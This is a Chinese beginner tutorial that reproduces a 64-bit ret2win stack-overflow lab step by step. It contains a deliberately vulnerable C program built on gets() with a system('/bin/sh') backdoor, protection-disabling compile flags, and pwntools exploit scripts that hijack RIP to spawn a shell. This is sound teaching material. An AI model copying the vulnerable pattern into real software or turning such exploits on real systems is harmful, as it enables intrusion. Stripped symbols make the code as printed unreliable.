小白入门PWN:栈溢出实战(从0到拿到shell,全程可复现)

张开发
2026/4/12 22:15:16 15 分钟阅读

分享文章

小白入门PWN:栈溢出实战(从0到拿到shell,全程可复现)
前言本文针对 PWN 小白基于 Ubuntu 24.04 LTS 系统全程使用目录下的 6 个文件calc.py、exp1.py、exp2.py、exp_shell.py、vuln、vuln.c一步一步复现栈溢出攻击全过程最终成功拿到系统 shell 权限。核心目标理解栈溢出原理、掌握偏移计算、学会控制程序执行流、实现 ret2win 拿 shell全程实操无废话小白跟着敲就能成功环境说明Ubuntu 24.04 LTS64位、pwndbg、pwntools、gcc已提前安装安装教程见文末目录文件清单提前准备好文末附所有文件完整代码calc.py # 计算栈溢出偏移 exp1.py # 生成cyclic字符串使程序崩溃 exp2.py # 验证RIP控制覆盖为0xdeadbeef exp_shell.py # 最终攻击脚本拿到shell vuln.c # 漏洞程序含后门函数win vuln # 漏洞程序编译产物一、实验前置准备小白必看确保以下工具已安装若未安装执行对应命令# 安装系统依赖 sudo apt update sudo apt install -y python3-pip git gdb gcc-multilib g-multilib checksec # 安装pwntools全局可用 sudo pip3 install pwntools --break-system-packages # 安装pwndbgGDB增强工具自动加载 cd ~ git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh验证工具是否可用输入以下命令无报错即正常checksec --help pwn version gdb -q -ex quit二、实验全流程一步一步复现小白直接抄步骤1创建实验目录准备所有文件1. 新建目录并进入规范管理避免文件混乱mkdir -p ~/pwn-study/week3/day1 cd ~/pwn-study/week3/day12. 依次创建 6 个文件复制对应代码保存即可最终目录结构如下~/pwn-study/week3/day1/ ├── calc.py ├── exp1.py ├── exp2.py ├── exp_shell.py ├── vuln.c └── vuln步骤2编写漏洞程序vuln.c并编译1. 创建 vuln.c 文件含栈溢出漏洞和后门函数 win#include stdio.h #include string.h void vulnerable() { char buffer[64]; // 64字节栈缓冲区 puts(Input:); gets(buffer); // 高危函数无边界检查栈溢出漏洞点 printf(You said: %s\n, buffer); } int main() { vulnerable(); return 0; } void win() { system(/bin/sh); // 后门函数执行后拿到shell }2. 编译漏洞程序关闭所有保护小白直接复制命令不要改参数gcc -fno-stack-protector -no-pie -z execstack -g -o vuln vuln.c编译后会出现 3 个警告正常现象不影响实验vuln.c: In function ‘vulnerable’: vuln.c:7:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration] 7 | gets(buffer); // 危险函数无边界检查 | ^~~~ | fgets vuln.c: In function ‘win’: vuln.c:17:5: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration] 17 | system(/bin/sh); | ^~~~~~ /usr/bin/ld: /tmp/cckjjjNV.o: in function vulnerable: /home/virtual-machine/pwn-study/week3/day1/vuln.c:7:(.text0x28): warning: the gets function is dangerous and should not be used.此时目录下会生成编译产物vuln可执行程序。步骤3生成cyclic字符串使程序崩溃exp1.py1. 创建 exp1.py 文件生成200个不重复字符串用于触发栈溢出并标记崩溃地址from pwn import * # 生成200个不重复的cyclic字符串用于定位溢出偏移 pattern cyclic(200) # 启动漏洞程序并发送cyclic字符串 p process(./vuln) p.sendline(pattern) p.interactive()2. 运行脚本触发程序崩溃python3 exp1.py运行后输出如下核心是出现 SIGSEGV 段错误说明栈溢出成功[] Starting local process ./vuln: pid 7269 [*] Switching to interactive mode Input: You said: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab [*] Got EOF while reading in interactive $ ls [*] Process ./vuln stopped with exit code -11 (SIGSEGV) (pid 7269) [*] Got EOF while sending in interactive步骤4使用GDB查看崩溃地址计算偏移calc.py1. 用 GDB 运行漏洞程序查看崩溃时的返回地址gdb ./vuln2. 进入 GDB 后输入run然后粘贴 exp1.py 输出的那串长字符串cyclic字符串程序会崩溃pwndbg run Starting program: /home/virtual-machine/pwn-study/week3/day1/vuln Input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab You said: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab Program received signal SIGSEGV, Segmentation fault.3. 查看崩溃时的返回地址关键找到如下一行► 0x4011df vulnerable73 ret 0x6161617461616173这里的0x6161617461616173就是崩溃时被覆盖的返回地址每个人的可能略有差异以自己的为准。4. 退出 GDB输入q创建 calc.py 文件计算栈溢出偏移from pwn import * # 填入自己GDB中看到的崩溃地址0x开头 print(cyclic_find(0x6161617461616173))5. 运行 calc.py得到偏移值本文中是 72小白的也会是 72因为 buffer 是 64 字节 8 字节 saved RBPpython3 calc.py [!] cyclic_find() expected an integer argument 0xffffffff, you gave 0x6161617461616173 Unless you specified cyclic(..., n8), you probably just want the first 4 bytes. Truncating the data at 4 bytes. Specify cyclic_find(..., n8) to override this. 72提示出现上面的警告不用管最终输出的 72 就是我们需要的偏移值。步骤5验证RIP控制exp2.py1. 创建 exp2.py 文件用 72 个 A 填充覆盖 RIP 为 0xdeadbeef验证是否能控制程序执行流from pwn import * offset 72 # 步骤4计算出的偏移值 payload bA * offset # 72个A填充到RIP前 payload p64(0xdeadbeef) # 覆盖RIP为0xdeadbeef # 启动程序发送payload p process(./vuln) p.sendline(payload) p.interactive()2. 运行脚本验证控制效果python3 exp2.py运行后会出现 SIGSEGV 段错误说明我们已经成功控制 RIP程序跳转到了我们指定的 0xdeadbeef 地址[] Starting local process ./vuln: pid 7309 [*] Switching to interactive mode Input: You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xde [*] Got EOF while reading in interactive $ ls [*] Process ./vuln stopped with exit code -11 (SIGSEGV) (pid 7309) [*] Got EOF while sending in interactive步骤6最终攻击拿到shellexp_shell.py1. 先查看后门函数 win() 的地址关键每个人的地址可能不同必须自己查objdump -d vuln | grep win输出如下本文中 win 函数地址是 0x4011f9小白以自己的输出为准00000000004011f9 win:2. 创建 exp_shell.py 文件最终攻击脚本跳转至 win 函数拿到 shellfrom pwn import * # 填入自己的偏移值和win函数地址 offset 72 win_addr 0x4011f9 # 替换成自己objdump查到的地址 # 64位程序必须加ret跳板解决栈对齐问题否则会崩溃 ret_gadget 0x40101a # 通用ret跳板地址无需修改 # 构造最终payload payload bA * offset payload p64(ret_gadget) # 栈对齐跳板 payload p64(win_addr) # 跳转至win函数拿到shell # 启动程序发送payload进入shell p process(./vuln) p.sendline(payload) p.interactive()3. 运行脚本直接拿到 shellpython3 exp_shell.py成功标志出现$提示符输入ls、whoami等命令可正常执行[] Starting local process ./vuln: pid 7362 [*] Switching to interactive mode Input: You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10 $ ls calc.py exp1.py exp2.py exp_shell.py vuln vuln.c $ id uid1001(virtual-machine) gid1001(virtual-machine) groups1001(virtual-machine),27(sudo),100(users) $ whoami virtual-machine $至此栈溢出攻击全程复现成功小白也能轻松拿到 shell三、避坑指南小白必看避免踩坑坑1编译命令错误 → 必须使用gcc -fno-stack-protector -no-pie -z execstack -g -o vuln vuln.c少一个参数都会导致实验失败比如没关 Canary、没关 PIE。坑2cyclic_find 报错 → 直接用终端运行 calc.py不要在 GDB 里输入 cyclic_findGDB 里没有这个命令。坑3运行 exp_shell.py 崩溃 → 必须加 ret 跳板64位程序栈对齐要求ret_gadget 用 0x40101a 即可通用。坑4win 函数地址填错 → 必须用objdump -d vuln | grep win自己查不要直接抄本文的地址每个人的可能不同。四、所有文件完整代码小白直接复制无需修改1. vuln.c漏洞程序#include stdio.h #include string.h void vulnerable() { char buffer[64]; // 64字节栈缓冲区 puts(Input:); gets(buffer); // 高危函数无边界检查栈溢出漏洞点 printf(You said: %s\n, buffer); } int main() { vulnerable(); return 0; } void win() { system(/bin/sh); // 后门函数执行后拿到shell }2. exp1.py生成cyclic字符串from pwn import * pattern cyclic(200) p process(./vuln) p.sendline(pattern) p.interactive()3. calc.py计算偏移from pwn import * print(cyclic_find(0x6161617461616173)) # 替换成自己GDB查到的崩溃地址4. exp2.py验证RIP控制from pwn import * offset 72 payload bA * offset payload p64(0xdeadbeef) p process(./vuln) p.sendline(payload) p.interactive()5. exp_shell.py最终拿shellfrom pwn import * offset 72 win_addr 0x4011f9 # 替换成自己objdump查到的win地址 ret_gadget 0x40101a payload bA * offset payload p64(ret_gadget) payload p64(win_addr) p process(./vuln) p.sendline(payload) p.interactive()五、实验总结本文通过 6 个文件完整复现了栈溢出攻击的核心流程1. 编写漏洞程序利用 gets 函数的无边界检查2. 生成 cyclic 字符串触发栈溢出并标记崩溃地址3. 计算栈溢出偏移确定覆盖 RIP 所需的字节数4. 验证 RIP 控制确保能让程序跳转到指定地址5. 跳转至后门函数最终拿到系统 shell。对于小白来说这是最基础、最易复现的 PWN 入门实验掌握这个流程后后续可以进阶学习 shellcode 注入、ret2libc、绕过各种安全保护等更高级的内容。如果觉得本文对你有帮助欢迎点赞、收藏、关注后续会持续更新 PWN 入门实战教程

更多文章